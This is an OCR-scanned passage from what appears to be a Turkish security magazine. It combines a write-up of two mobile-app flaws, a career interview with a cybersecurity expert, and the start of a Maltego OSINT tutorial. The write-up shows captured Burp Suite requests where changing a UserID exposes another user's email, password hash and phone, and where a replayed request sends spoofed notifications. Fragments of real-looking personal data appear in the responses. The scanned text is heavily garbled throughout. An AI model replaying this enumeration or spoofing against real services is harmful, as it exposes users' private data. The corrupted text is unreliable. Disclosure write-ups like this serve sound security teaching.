Raw | Headers | Hex

Reqguest

Raw rams | Headers | Hex
GET /Api/User?UserlD=225980 HTTE/1.1
Host:

Aocept: */*
Connections: close

Authorization: Basic
Accept-Language: en-au
Accept-Encoding: gezip, deflate

Kullanilan program, Burp Suitedir.

e

HTTP/1.1 200 OK

X-Powered-By: PHP/T7.0.33

Set-Cookie:

Expires: Thu, 1% Nov 1981 08:52:00 GMT
Cache-Control: max-age=1l, private, must-revalidate

path=/

Pragma: cache

Access-Control-Allow-Origin: +
Access-Control-Allow-Methods: GET,POST
Access-Control-Allow-Headers: Origin, X-Requested-With,
Content-Range, Content-Disposition, Content-Type, Authorization
Access-Control-Allow-Credentialss: 1
¥X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-¥ss5-Protection: 1; mode=block

Content-Type: application/json; charset=UTF-3|
Content-Length: 588

Date: Pri, 02 Aug 2019 23:17:27 GMT

Alt-Svc:i guic=":443"; ma=25%2000; w="35,39,43,44"
Connection: close

{"ID":"225980","fb User_ ID":null,"email":"aalaaaa.com","username":"d
obreyvecer", "pass":"
f6diWenIfsWE", "photo
1,%ity":null, "state

TR", "phone" 111, "ostim_phone"

:null, "gender":null, "users_groups": "y "status":"1", "created date":"
2019-08-03

G2:17:22" , "check":null, "email check":"0","phone check":"@", "email co
de 922491", "phone code": "user type":"0","token":null, "teyit":
1", "estim":"0", "ostim_tercih":inull, "discount”:"Q", "discountType": "0

"yUritle"inull, "BitisTarih":null}

Evet bilgileri gordiik. Gelin simdi de ilk gorselde isaretlemis oldugum benim, 225980 olan id degerimi bir azaltarak yani 225979

olarak bir bakalim, ne olacak? :)

Request

Raw | Params | Headers | Hex

Response

|m Headers | Hex

GET /Api/User?UserID=22597% HTTP/1.1

Host: [

Accept: */+

Connection: close

x)

Authorization: Basic
Accept-Language: an-au
Accept-Encoding: gzip, deflate

Opps! 1)

e

HTTP/1.1 200 OK

X-Powered-By: PHP/7.0.33

Set-Cookie:

Expires: Thu, 1% Nov 1981 08:52:00 GMT
Cache-Control: max-age=1l, private, must-revalidate

path=/

Pragma: cache

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST
Access-Control-Allow-Headers: Origin, X-Requested-With,
Content-Range, Content-Disposition, Content-Type, Authorization
Access-Control-Allow-Credentials: 1
X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-¥8s5-Protection: 1; mode=block

Content-Type: application/json; charset=UTF-8
Content-Length: 614

Date: Fri, 02 Aug 2019% 23:24:15 GMT

Alt-Sve: quic=":443"; ma=2592000; wv="35,39,43,44"
Connection: close

{"ID":"225979","fb User ID":null,"email": ed13078gmail .com
", "username": ,"pass":"52y5085WVBscVpheCB1RDB1bk]1Vbawh /
MtBrHzY1m92ZDcg\/4KEBMrwLZK6mOK" , "photo”::null, "name" : "GN 1::t
name" : "address":null,"city":null, "state":null, "countr i
"phone" inull, "ostim_phone" :null, "gender":null, "users_groups":"0"
atus":"1","created_date”:"2019-08-03
- "check":null, "email check":"1","phone_check":"0","email co

¢ ne_code":null, "user_type":"0", "token":null, "tayit"

stim tercih":null, "discount”:"0","discountType™:"
"bitisTarih":null}

"y "title"inull,

Donen bilgiler igerisinde benden dnce iiyelik olusturmus kisiye ait ad soyad, mail ve sifrenin blowfish algoritmasi ile
hash’lenmis halinin olmasinin yani sira telefon numarasi ve adres bilgileri de donmekte. Salt ve ntimerik bir sekilde artan
id degeri sayesinde kullanici bilgilerinin ¢alinmasi veritabanina dahi baglanmadan miimkiin olabiliyor...
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#4 - Bir tane daha:

Facebookvari paylasim yapabileceginiz bu uygulama ile ¢6zemediginiz test sorularini géndererek birilerinin yardim etmesini
bekleyebiliyorsunuz. Uygulamay: incelerken gézlerimi dolduran bir trigonometri sorusuna like attigimda giden paket dikkati-
mi ¢ekti.

1 Kisi Begendi

rosT I (7T 1. 1

Host:

Content-Type: text/plain

Origin: file://

Connection: cloee

Accept: application/json, text/plaim, */*

User-Agent: Mozilla/5.0 (iPhone; CPU iPhone 08 12 1 4 like Mac 05 X) AppleWebKit/605.1.15 (KEHTML, like Gecko} Mobile/16D57
Accept-Language: en—-au

Accept-Encoding: gzip, deflate

Content-Length: 114

{"mesaj":"gks Gonderini Begendi.","userId":"83841","bildirimTipi":2,"postId":+"2163977","1liskililleerId":"337346"}

Bildirim mesajini ve bildirim gidecek id degerini kendiminki ile degistirip tekrar calistirtyorum. Tam da bekledigim gibi ciha-
zima bildirim geliyor.

I now

bu bir bildirim zafiyeti ornegi

Bu da demek oluyor ki, basit bir script ile bir gece ansizin tiim kullanicilara bildirim gonderebilmek miimkiin!

Gorduglniiz tizere, 6rneklerde yaptigim tek sey uygulamalarin internet trafigini incelemek oldu. Herhangi bir bilgiye sahip ol-
madan yapilabilecek bu adimlar ile tiim kullanicilara SMS ya da bildirim gondererek hallerini hatirlarini sorabilecek olmamdan
daha kotiisti, ev adresi ve telefon gibi 6nemli bilgilere erisip ¢ay icmeye de gidebilecek olmamdi.

Ezciimle:
Bu yazida sunucuyla salt haberlesmenin ve bilgilerin salt olarak saklanmasinin ne gibi sonuglar dogurabilecegini gercek 6rnek-
ler ile incelemis olduk.

Dogrulama kodlarmin kullanici cihazinda belirlenmedigi, bilgilerin sifrelenerek saklandigi, giizel ve mutlu giinler olsun efen-
dim.

Bir baska yazida goriismek iizere!
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SOYLESILERLE SIBER GUVENLIK UZMANLARINDAN

YENI
BASLAYANLAR ICIN
YOL HARITASI

Siber giivenlik alanina ilgi duyan kisilerce en sik sorulan ve cevabi en ¢ok talep edilen bir soru vardir: “Nere-
den baslamaliyim?”. Bu soru muhtemel bir kariyer planina giden ilk adim olabilecegi gibi gegici bir heves dahi
olabilmektedir. Bu durumun tespit edilmesi, ilginin bilgiye doniismesi ve diisiincenin saglam temellere otur-
tularak olgunlasmas: ise sahada etkin yer alan uzmanlarin yol gostermesiyle miimkiindiir. Iste bu amag ve
istekle baslattignmiz dizinin ilk konugu Sayin Yilmaz Degirmenci oldu. Kendisine bilgi, oneri ve tecriibelerini
paylastigi icin tesekkiir eder, okura yarar saglamas: dilegiyle esenlik dilerim.

Peki, Yilmaz Degirmenci kimdir?

Kara Harp Okulundan 1997 yilinda “Sistem Mithendisligi” programindan mezun olan Yilmaz Degirmenci,
yiiksek lisans 6grenimini 2000-2002 yillar: arasinda Californiada Naval Postgraduate Schoolda “Bilgisa-
yar Bilimi” boliimiinde tamamlar. Yurda dondiigiinde, Tiirk Silahli Kuvvetlerinde sistem yoneticiligi, veri
tabani yoneticiligi, yazilim gelistiriciligi ve proje yoneticiligi gorevlerini icra eder. 2014 yilina gelindiginde
ise TSK Siber Savunma Komutanlhiginda “Siber Olaylara Miidahale Ekip Lideri” olarak gorevlendirilir. Ug
yil siiren gorev kapsaminda Siber Operasyon Merkezinin yonetiminde etkin rol alan Degirmenci, ayni za-
manda “NATO Kilitli Kalkan ve Siber Koalisyon Tatbitaklari”nda yer alir; koordinatorliik iistlenir. 2017 y1-
linin mayis ayinda emekli olduktan sonra siber giivenlik ve yapay zeka egitimlerine yogunlagsma karar alir.

Veri madenciligi, makine 6grenmesi ve yapay zeka konularinda derinlemesine ¢alismalara yonelen De-
girmenci, ele aldig1 konular: siber giivenlik alaninda kullanilmasi igin projeler gelistirmek adina “Bilishim
Siber Giivenlik ve Yapay Zeka” firmasini kurar. Sirketinin genel miidiirliigiini stirdiiren Degirmenci, ayni

zamanda Tirkiye Siber Giivenlik Kiimelenmesinde “Egitim Koordinatori” olarak hizmet vermektedir.
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duk¢a popiiler. Bu dogrultuda adaylar, ilgilerinin
hedef mi yoksa heves mi oldugunu nasil netlestire-
bilirler?

Cafer Ulug: Siber giivenlik ifadesinin kendisi dahi ol-

Yilmaz Degirmenci: Biitiin profesyonel ilgiler de sonugta he-
vesle baslar ve her ugras illa ki 6nemli bir hedefi gézetmek
zorunda degildir. Bence 6nemli olan yaptigimiz isten keyif
almak.

“Sevdigin isi yap, 0miir boyu ¢alismak zorunda kalmazsin.”
(Konfiigyiis) seklinde ¢ok eski bir s6z vardir. Siber giivenli-
ge heves duyan geng bir arkadas olarak liitfen kendinize so-
run: “Bes yil sonra da ben bu isi keyifle yapar miyim?”. Sonug
olumlu ise o zaman profesyonel bir kariyer yolunu diisiinebi-
lirsiniz. Isin ash gercekten emek verir ve bu emegi istikrarli
tutarsaniz zamani gelince kendiliginden bu is sizin mesleginiz
haline gelecektir.

C. U.: Peki, siber giivenlik alaninda kendine kariyer hedefi
koymus bir aday, ilk olarak ise nereden baslamalidir?

Y. D.: Aslinda bunun ¢ok net ve sade bir cevab1 var: Ogren-
meyi 6grenmek.

Siber giivenlik alaninda tabii ki okul, egitim ve kurslarin vazge-
¢ilmez bir degeri var. Ancak sunu da belirtmeliyim ki sektorde
gordigiim en bagarili arkadaglarin tamami kendi kendini ye-
tistiren insanlar. Tabii bunun kokenine indigimizde, bitmek
titkenmek bilmeyen bir merak duygusu oldugunu gériiyoruz.

Bir dipnot olarak sunu da ifade etmek isterim: Teknik bir alan-
da uzmanlasmak istiyorsaniz Ingilizce bilginiz olmadan bunu
gerceklestirmeniz imkénsiz. Clinkii kaynaklarin ¢ok biiytik
bir oran1 Ingilizce. Bu nedenle eger zamaniniz varsa her geyi
birakip yabanci dil bilginizi gelistirmeyi birinci siraya almani-
z1 Oneririm.

Belirtmek istedigim diger ince bir nokta da liitfen bos za-
manlarinizda kod yazmaya ve uygulama gelistirmeye calisin.
Bir¢ok geng arkadasta kod yazmadan dogrudan sistemleri ele
gecirme yontemlerini 6grendigini ve bu sekilde ilerledigini
gorityorum. Bu sezgiyi gelistirmek ne kadar 6nemli olsa da so-
nugcta kod yazmadan ve okuyamadan, sistem mimarileri ve
protokolleri incelemeden, gercek anlamda bir siber giivenlik
uzmani olmak miimkiin degil.

Eger heniiz miihendislik béliimiinde okuyan geng bir arkadas
iseniz, C++ dilini ve veri yapilarini (6zellikle Linked List yapi-
larini ezbere yazabilecek diizeyde) kavramanizi 6neririm. Ay-
rica isletim sistemi mimarilerini incelemenizi ve miimkiinse
ufak bir mini kernel yazmaya ¢aligmanizi 6neririm.

C. U.: Ya siz? Bu seriiven boyunca ¢izdiginiz yol haritasini
nasil planladiniz?

Y. D.: Eger konuyu siber giivenlik 6zelinde yanitlarsam, ben
aslinda zaten hep siber giivenligin icindeydim. Asker kokenli
bir insan olarak ¢ok uzun yillar bityiik sistemleri, ekip arka-
daslarimizla birlikte bizzat yonettik. Yeri geldi veri tabani is-
lettim, yeri geldi uluslararasi calismalarda yer aldim. Bunlarin
tamamuinin bilgi gtivenligi boyutu vardi.

Isin asly, yagim ilerledik¢e ve konumum yiikseldikge teknikten
uzaklasmak durumunda kaliyordum ve ben ise bunu hig iste-
miyordum. Hatta bir defasinda 6zel sektore gecmek istedigim-
de bekledigim tepkiyi bulamamistim. Ciinkii hem her seydim,
hem de higbir sey.

[ste tam o dénemde tiim bilgi birikimimi yansitabilecegim bir
alan olabilecegini ve bunun siber giivenlik oldugunu diistin-
meye bagladim. Ciinkii ister web, ister sistem, ister veri tabani,
isterse mobil olsun her tiirlii teknolojinin muhakkak bir siber
giivenlik boyutu vardi. Iste bu karardan sonra tek odak nok-
tam siber giivenlik oldu.

C. U.: ilgi duydugunuz an1 hatirliyor musunuz? Sizi bu ala-
na ¢eken “sey” ne oldu?



Y. D.: Aslinda bendeki “0” an siber giivenlikten ziyade yapay
zek4 alaniyla ilgili olmustur. Heniiz bir 6grenciyken kendi ba-
sima bir C++ kitab1 ¢aligmistim. Ancak heniiz tek satir kod
yazmishigim yoktu. “Acaba nasil bir program yazsam?” diye
kendi kendime diisiiniirken ve arkadaslarla tartisirken, “Insan
gibi diisiinen bir program yazabilir miyim acaba?” diye bir
soru sordum.

O soruyu soral1 20 yil oldu. Bu konuyla ilgili ¢ok ciddi emek
verdigim ¢aligmalarim oldu ve ben hal4 ayn1 soruyu sormaya
devam ediyorum.

Bana gore zaten her seyin temeli soru sormaktir. Bilimin de
mucitligin de gelismenin de en biiyiik fitili soru sormaktir.

C. U.: Vazgegmeyi diisiindiigiiniiz an oldu mu? Oldu ise sizi
yeniden devam etmeye iten motivasyonunuz ne idi?

Y. D.: Aslinda bir asker ve zaten meslegi olan bir insan olarak
bilgisayar1 hi¢cbir zaman bir mesleki arag olarak gormemisim-
dir. Bilgisayar benim i¢in, bir insan olarak kendimi ve hatta
evreni yansitan bir ayna olmustur. Bilgisayar mimarisini ya da
yeni algoritmalari kegsfettikce, her defasinda yeniden biiyiilen-
misimdir.

C. U.: Diinyada ve 6zelde iillkemiz i¢in -giiniimiizde ve gele-
cekte olmak iizere- kariyer noktasindaki 6ngoriiniiz nedir?

Y. D.: Gittik¢e daha bilgi odakli bir diinyada yasiyoruz. Bir
insan1 digerinden ayiran makam, riitbe ya da maddi gii¢ gibi
ozellikler artik siliklesmekte ve sahip oldugunuz, yasama bir
katma deger olarak katabildiginiz bilgi sizin en biiyiik serma-
yeniz olmakta.

Bu noktada tabii ki bana gore her seyin temeli cok calismak.
Atatiirk’tin de dedigi gibi: “Yagsamak demek, calismak demek-
tir”. Bu yiizden gelecek, ¢aligan insanlarin ¢ok daha fazla 6nde
oldugu bir diinya olacak.

Burada ozellikle yaraticihigi da vurgulamak isterim. Yapay
zekd algoritmalar: gittikce giiclenirken hayatimizin icinde daha
fazla yer aliyor. Dolayisiyla insani on plana ¢ikaran yaratici-
lik, sezgisel zekd, duygusal zekd gibi ozellikler de bence biiyiik
deger ifade etmekte. Teknik arkadaslar genelde bu tarafi zayif
birakiyorlar, ancak bence her bir siber giivenlik uzmam bos za-
manlarinda farkl tiirde kitaplar okumali ve az ¢ok sanatla da
ilgilenmeli.

C. U.: Algoritma, adli bilisim, yazilim dilleri, ag, mobil
platformlar, nesnelerin internet’i, siber istihbarat, web
giivenligi, s1zma testi, zararli yazilimlar, kriptoloji... Siber

giivenlikte konular derya deniz misali. Ilerlemek istedikleri
alan veya alanlarini segerken neye dikkat etmeliler?

Y. D.: “Uygulamali1 Sizma Testi” ve “Uygulamali Web Giiven-
ligi” sanirim en temel ve zaten birbiriyle i¢ ice konular. Her
seyden dnce bu temel saglam atilmali.

Raportor: Cafer Ulug / Soylesi A\ 2 (LW {1\ d|

Bunun iizerine diger hangi konu ilginizi ¢ekiyorsa devam
edebilirsiniz. Tabii tersine mithendislik ve buna bagli zafiyet
arastirmasi ya da zararl yazilim analizi gibi konular ¢ok az in-
sanin gergek anlamda uzman oldugu ve fark yaratan konular.
Eger geng bir arkadagim simdi bile bu konulara agirlik verir ve
kendini gelistirirse kisa siirede Tiirkiye ¢apinda dikkat ¢ekecek
hale gelebilir. Sanirim bdyle bir enerji baska hicbir sektorde
yok ve bu sizler icin muhtesem bir firsat.

Giiniimiizde ¢ogu insan para kazanmak ve hayatini idame et-
mek icin sevmedigi bir iste yillarini gegiriyor. Eger bu sektor
size hitap ediyorsa bence birinci onceliginiz keyif alarak ve eg-
lenerek calismak olmali.

C. U.: Kendi kendine 6grenme yetisi nasil edinilebilir? Og-
renmenin, 6grenmeyi 6grenmenin bir formiilii var midir?

Y. D.: Belki de bu noktada asil sorulmasi gereken sorulardan
biri sudur: “Bir sey 6grenmek icin neden bir bagkasina bu ka-
dar ihtiya¢ duyuyoruz?”. Gergekten 6grenemedigimizden mi
kaynaklaniyor yoksa bu bir ¢esit 6grenilmis ¢aresizligin yan-
stmas1 mi1? Kendine inanan bir insanin diledigi her seyi kendi
basina az ¢ok 6grenebilecegini diistiniiyorum.

Tabii ki bizzat egitim sektoriinde olan bir insan olarak ken-
dimle gelisiyor musum gibi konusuyor olabilirim. Ama okullar
ya da kurs ve egitimler, 6grenme siirecinin belirli bir format ve
disiplin i¢inde gitmesini saglamali ve bu siireci hizlandirmali.
Yoksa sizin 6grenme yetinizin tamaminin yerine gegmemeli.
Her seyin baslangici da sonu da bizzat sizsiniz.

C. U.: Teknik bilginin yan1 sira, adaylar hangi becerilerle
kendilerini donatmalidirlar?

Y. D.: Ozellikle siber giivenlik, ziinde olaylara baska bir agi-
dan bakabilme becerisine dayaniyor. Ornegin siz bir plastik su
bardaginda cigek yetistirirseniz, bu bile bir ¢esit hack’lemedir

diyebiliriz.
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Bu noktada bulmaca ¢6zme yeteneginizi gelistirmeniz ve tabii
ki bolca Bayrag: Yakala (CTF) etkinliklerine katilmaniz ¢ok
faydali olacaktir.

C. U.: Bir siber giivenlik uzmaninda olmazsa olmaz sizce
nedir?

Y. D.: Diinyanin en muhtesem hacker’ olabilirsiniz; ama giiven
vermiyorsaniz bunun higbir anlami yoktur. Her seyin temeli
diirtist olmaniz ve gerek birlikte ¢alistiginiz insanlara, gerekse
misterilerinize giiven vermeniz. Bunun diginda, “Bitmek bil-
meyen bir azim ve sabir” diyebilirim. Ciinkii 6grenmenin bu
kadar dinamik ve iist seviyede oldugu bir disiplinde gereken
sabr1 gostermezseniz kisa siirede havlu atabilirsiniz.

C. U.: Calistiginiz alan kapsaminda hangi yetkinliklere ih-
tiya¢ duyulmaktadir?

Y. D.: Bu soruya bir egitmen goziiyle yanit vermem gerekir-
se: En 6nemli yetkinlik insan odakli olabilmek. En teknik bir
konuyu bile kars1 tarafin anlayabilecegi seviyede adim adim
isleyebilmek ve tiim bu siire¢ boyunca samimi bir havanin
olusmasini ve korunmasini saglamak.

C. U.: Ulusal ve uluslararasi sertifika programlarinda nasil
bir yol izlenmelidir?

Y. D.: Sertifikalar siber giivenlik sektériinde bir anlamda diplo-
madan daha 6nemli. Bu yiizden kariyerinizi maddi giictiniiz ve
zamaniniz yettikce sertifikalarla giiglendirmenizi tavsiye ederim.

C. U.: Ve diploma konusu! flgili 6n lisans veya lisans boliim-
lerinden mezun olmamak bir eksiklik midir?

Y. D.: Ben sahsen birlikte calistigim arkadaslarda en ¢ok ilgiye
onem veriyorum. Ciinkii ilgi bilgiyi getiriyor eninde sonunda.
Tabii, bir mithendislik disiplininden ge¢mek ¢ok onemli ve
faydali. Okumanin yag1 ve zamani yok. Her zaman i¢in okul ve
diploma anlaminda da kendinize yeni degerler katabilirsiniz.

C. U.: Bilimsel diisiince ve giivenlik yaklasiminda ufuk agt1-
g1 diisiindiigiiniiz kitap, film 6neriniz neler olurdu?

Y. D.: Eric Kandel'n “Bellegin Pesinde” kitab: ¢ok uzun za-
mandir bendeki biiyiik bir boslugu dolduran bir kitap oldu.
Bu kitapla birlikte Google dokiimanlarindan TensorFlow cali-
sirsaniz hayata bakis a¢iniz yenilenecektir sanirim.

1995 yapimi “Ghost in the Shell” animesi ve onun dizi hali olan
“Stand Alone Complex” beni ¢ok etkileyen eserler olmustur. Bu
yapimlarda az ¢ok gelecegin gelmis oldugunu goriiyorsunuz.

C. U.: E-biiltenlerle birlikte portal, blog, forum sitesi gibi
web platformlarindan hangilerinin takip edilmesini one-
rirsiniz?

Y. D.: Phrack dergisi -her ne kadar eskisi kadar aktif olma-
sa da- bana gore hacker ruhunu en giizel yansitan dergidir.
Bunun diginda Defcon, Recon ve Blackhat konferans sunum-

larmin giincel olarak takip edilmesinin faydali olacagini dii-
siniiyorum.

C. U.: Ulkemizde ortaokul seviyesinden iiniversiteye kadar
siber giivenlik yarigmalar1 diizenlenmektedir. Adaylarin,
bu gibi yarismalara katilmalarinda ne gibi fayda goriiyor-
sunuz?

Y. D.: Bunlar1 birer yarigma degil eglence olarak gormeli ve
bu sekilde firsat bulduk¢a hepsine katilmaya calismali. Ciin-
kit siber giivenligin kendine gore bir kafa yapist var: Cabuk
sikilan, merakli, yeni bir seyler kesfetmek isteyen ve bunlari
paylasmak isteyen geng arkadaslar. Bu tarz yarismalar da bunu
saglamak icin giizel birer ara¢ bence.

C. U.: Sektorel bazli ¢evre olusturmak adina ¢evrim igi sos-
yal aglar nasil etkin kullanilabilir? Yani sira topluluklarca
diizenlenen etkinlikler, bulusmalar gibi organizasyonlarin
adaya saglayacag katkilar1 nasil yorumluyorsunuz?

Y. D.: Sahsen bana cesitli vesilelerle gelen CV’lerde ben ada-
ymn topluluk ve etkinliklerdeki katilma durumuna da 6nem
veriyorum. Ciinkii hemen her okulda artik bir siber giivenlik
toplulugu var. Konuyla ilgili olan arkadagin burada bir seyler
yapmis olmasi bana en azindan bazi ipuglar1 veriyor. Giinii-
miizde Linux Yaz Kampi ya da Siber Kiimelenme egitimleri
gibi bir¢ok tcretsiz egitim diizenleniyor. Bunlar1 ¢ok deger-
li egitmenler, bir sonraki kugaga katki saglamak maksadiyla
veriyorlar. “Siber giivenlik ¢ok ilgimi ¢ekiyor” diyen bir gen¢
arkadagin bunlardan higbirinde yer almamis olmasi, agik¢ast
bana biraz garip geliyor.

Diger yandan, eger kariyerinizi gliclendirmek istiyorsaniz énce
bir alan secin o alanda iyice uzmanlagin. Belli bir agamaya gelin-
ce illaki 6zgiin ¢aligmalar yapmaya baslayacaksiniz. Bunlar1 blog
sayfanizda makaleye donistiiriin. Sonra da ozellikle LinkedIn
gibi platformlarda bunlar1 paylasin. Bu sekilde sabirla ilerlerseniz
zamanla sektorde giizel bir yer edinmeniz hi¢ de zor degil.

C. U.: Hatirlatmakta fayda var: Yasalarin iyilestirilmesiyle
birlikte, Tiirk Ceza Kanununca, islenen bilisim suglari cezai
yaptirima tabi tutulmaktadir. Bu husus da goz oniine alin-
diginda, aday, 6grendiklerini uygulama sathasinda nelere
dikkat etmelidir?

Y. D.: Yukarida belirttigim gibi, siber giivenligin sektor ola-
rak aradig1 en temel nitelik “giiven”. Bu noktada bazi hevesler
ugruna adiniza zarar gelmesine asla miisaade etmemelisiniz.
Teknik anlamda kendinizi gelistirmek i¢in bir¢ok ¢evrim ici
platform zaten mevcut.

C. U.: Son olarak, bu okumayi bitirdikten hemen sonra ne
yapmalarini 6nerirsiniz?

Y. D.: Giizel bir filtre kahve icebilirler. Ben simdi onu yapa-
cagim.
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MALTEGO

ILE SIBER

ISTIHBARAT TOPLAMAK

N ncelikle belirtmek isterim ki, bu hazirladigim gorsel
Osadece egitim amagldir. Bagka herhangi bir amag
igermemektedir. Dokiimandaki uygulamalarin kétii

amagli kullanimlarindan sorumlu degilim.

Ulkeler arasi ve toplumsal olaylarin arttigi bu zamanlarda
istihbarat ve siber istihbarat konusu ¢ok 6nem kazanmustir.
Siber saldirilar, gegmis zamanlara kiyasla bugiinlerde artis
gozle goriilecek diizeydedir. Ulkeler birbirlerinin askeri, eko-
nomik ve diger gizli kalmasi gereken planlarini siber istihbarat
yontemleriyle ele gecirme yarisina girmistir. Son yillarda bu
islerle ozellikle ugrasan APT gruplar: olduk¢a gogalmistir.

Bunlarin en ¢ok bilinenleri ise FireEyen APT40" olarak ad-
landirdig1 gruptur. Bu sadece bir 6rnek olmak ile birlikte bili-
nen ve heniiz bilinmeyen onlarca grup mevcuttur.

Su anda bulundugumuz zamani ve bu zamanin olusturdugu
dinamikleri anlamak, siber diinyada bulundugumuz konu-
mu bilmek bizi tehlikelere kars: korumak i¢in bir gerekliliktir.
Iginde bulundugumuz durumun analizini dogru bir gekilde
yapamazsak, nereye odaklanmamiz gerektigini bilemez, ge-
rekli 6nlemlerimizi alamayiz. Bundan dolay: zafiyetler orta-
ya ¢ikmaktadir. Siber saldirganlar bizim bu zafiyetlerimizi
bulabilmek adina giinlerce, haftalarca, aylarca hi¢ durmadan
caligir. Tabii bir sistemi aragtirirmanin ve analiz etmenin en
onemli kismu ise, sistem veya kisi hakkinda bilgi toplamaktir.
Saldirganlar sistemi veya kisiyi ne kadar iyi tanirlarsa, tanim-
larlarsa kiginin veya sistemin barindirdigi agikliklar1 ya da za-
yif noktalar1 bilirler. Kullanacaklar: saldir1 yontemlerini veya
siber silahlari buna gore belirleyebilirler. Bunun igin aktif ve
pasif bilgi toplama y6ntemlerini kullanmaktadirlar. Maltego
bizim aktif bilgi toplayabilmemizi saglayan bir aragtir. Simdi
biraz daha i¢ine bakalim.

1 https://www.fireeye.com/current-threats/apt-groups.html

Kaynak: http://bit.ly/2kcrbMg

Siber istihbarat araglari arasinda en ¢ok taninan ve en pratik
olan “Maltego”, Kali Linux i¢inde gelen ve oldukg¢a pratik bir
bilgi toplama programidir. Yapimcis1 “Paterva” olan program
aktif olarak sizma testlerinde ve istihbarat toplama asamala-
rinda kullanilan bir programdir.

Maltegonun ticari kullanim igin 6zel paketleri mevcuttur ve
bu paketler ticretli olarak sunulmaktadir fakat “Community”
paketini ticretsiz olarak elde edebilir ve ticari amag¢ diginda
kullanabilirsiniz.

Maltego’yu Windows i¢in kurmak isterseniz:

@ PATERVA o e
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Isletim sisteminiz kag bit ise (mimarinize gére) secenekler-
den indirebilirsiniz. Ayrica, segenekler arasinda Linux ve
Mac i¢in ayrica opsiyon mevcuttur.

Linux igin:
Linux i¢in Maltego genelde giivenlik amacli dagitimlarla ile beraber gelmektedir. Ancak gelmedigini farz edersek siireg su
sekilde isliyor:

:~# apt-get install maltego

Yukarida verilen komut ile birlikte Kali Linux iizerine de kurabilir ya da Kali Linux i¢in web sitesinden de paket olarak indire-
bilirsiniz.

Maltego'yu actiginiz zaman sizden bir iiyelik girmenizi isteyecektir. Uyeligi Patevra iizerinden alabilir ya da programin talep
ettigi ekrandan kayzt olabilirsiniz.

Maltego'nun agildik ve iiyelik girisi yapildiktan sonra sayfasi su sekildedir.

Maltego Community Edition 4.2.3

B9 Close ail

1 Close Other Graphs | 54 Overvew i Enthy Palette. P Run View 2 Hub Transfarm inguts

B flaset Windows = Outall View [ Outnut Winduw [ Chat Window

Ment kisminda

o Investigate o View

o Entities « Collections

o Transforms « Machines

o Collaboration o Import/Export

» Windows, tarzi basliklar icermektedir.
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Investigate (Sorusturma):

Investigate (Sorusturma) kisminda, yaptiginiz sorusturmalar: diizenleme, diyagram hazirlama vb. 6zelliklerini kullandigimiz
kisimdir. Yeni versiyonu ile birlikte “Privacy mode” gelmistir.

Configure Maltego

Privacy Mode | & Stzalih

Normal Privacy Mode: Use this moda for richest Maltego expenenca. Your
Mattego Desktop is allowed to fetch some data directy from the intemnet
Examples include fetching of entity images from URLs and Favicons for
websites averlays,

Stealth Privacy Mode: Use this mode If you ara an investigator and it is
important that no internet traffic onginates from your computer's IP. Your
Maltego Deskiop will not feich any data directly from the intermet
Downloading of entily images and image overlays will be blocked Mote
thal transforms might stll make direct connections to the target from the
transform server or from your computer (In case of jocal transforms).

Kaynak: https://maltego.freshdesk.com/support/discussions/topics/15000005039

Bu modiil, aragtirmacilar i¢in 6zellikle hazirlanmis bir modiildiir. Bu modiilde IP’nizi igeren herhangi bir sorgu iiretilmemek-
tedir. Baglik resimleri indirmeyi engellemektedir. Ancak, hala kesin bir direkt baglanti kurulacaginin garantisi verilmemektedir.
Tabii bunun bir dezavantaji normal moddaki gibi bir kullanic1 deneyimi sunmayacak olmasidir. Yani zengin igerik tiretemeye-
bilir. Bu 6zellige ek olarak hizli bulma secenegi de bu sekmede yer almaktadir.

View (Goriiniim):

Sonuglarin goriintii diizeni ve hiyerarsisinin diizenlenmesinde kullanilan kisimdir. Bu kisim, organik hiyerarsi (gezegen siste-
mi gibi) ve diger hiyerarsi diizenlerinin bulundugu sekmedir. Calismanizin diizenini ayarlamak sizin onu inceleme becerinizi
arttirabilir.

Entities (Basliklar):
Entities, baslhiklar kismuidir. Buradan baglik ekleyebilir veya diizenleyebilirsiniz. Thtiyaciniza gore tasarimlarinizi yapabileceginiz
kisimdir. Bu kisimda yeni baslik tipi ekleyebilir, ¢ikarabilir ya da var olan baglig1 diizenleyebilirsiniz.

Collections (Buluntular):

Collections kisminda, toplanan verilerin anlagilmasi i¢in, basitlestirme islemi yapilmaktadir. Ayni tarzdan verileri bir kare i¢ine
toplayarak bir arada tutar ve gorseli basitlestirir. Elde edilen bulgulardan kag tanesinin goriintiilenecegini de burada belirleye-
bilirsiniz.

Transforms (Doniistiirme):
Bu kisimda, kullanilan servisleri yonetebilir, ekleyebilir veya kaldirabilirsiniz. Uzerinde aragtirma yapacaginiz domain, kisi vb.
konularin tizerine sag tiklandiginda “to IP” vb. segenekler yer alir.

Machines (Makineler, otomatize araclar boliimii):
Machines kismi, otomatize araglarin bulundugu boliimdiir. Hakkinda bilgi toplamak istediginiz kisi, sirket, domain vb. igin
ozellikle hazirlanmig sorgulari i¢inde barindirir.
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Start a Machine

CHINE: |

O i@haveibeenpwned v2 Alias
O i@haveibeenpwned v2 E-Mail Address

O Company Stalker

(O) Find Wikipedia Edits

o Please select a machine to run.

N N T

Gorseldeki gibi herhangi bir segenegi segebilirsiniz.

Start a Machine

The Company Stalker machine requires the following inputs:

Domain Name | |

Ornek olarak sirket aragtirmast s
yapacagiz. Sirketin alan adini (.]\’
(domain) girdiginiz takdirde =

I google.com
sizin i¢in otomatik sorgular oy \\\\\
: . N TR
yapacaktir. Bu sorgular, sirkete 22 NN \ =
. c1s . -~ / /] \ \ e
ait herhangi bir dokiimani tara- P //; i, \\‘-\ N\ g S
. o ’ 3 [ \
mak, e-mail adreslerini bulmak (‘\s o / ,f! \\ N %
ve sosyal medya hesaplarini 4 3 1 Bk %
o’ 4 \ N\
bulmak Vb glbl fonksiyonlarl _spf.google.com /ébuseco;m’:\aints@marlgr’nof(itcr.com whoisrequast@markmogitor.com™,_ altl.aspmx.l.google.com
' / gl \ p-
. . ¢ f y / N
icermektedir. aF / \ X
rd \ ¥
=/ B / \ BN\ D
/ | \
/ / \ X
a\tz.aspmx.\.google.con’( a\t3.aspmx.\.go?‘gle.com a\ta.asﬁmx.\.gocgle.ccm \\aspmx.l.goog\e.com

ns3.google.com ns4.google.com nsl.google.com ns2.google.com
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Collaboration (is birligi icinde olmak)
Bu boliimde, ortaya ¢ikarmis oldugunuz grafigi, gorseli, diyagramlar baskasi ile paylasabilir ve bir sohbet penceresi tizerinden
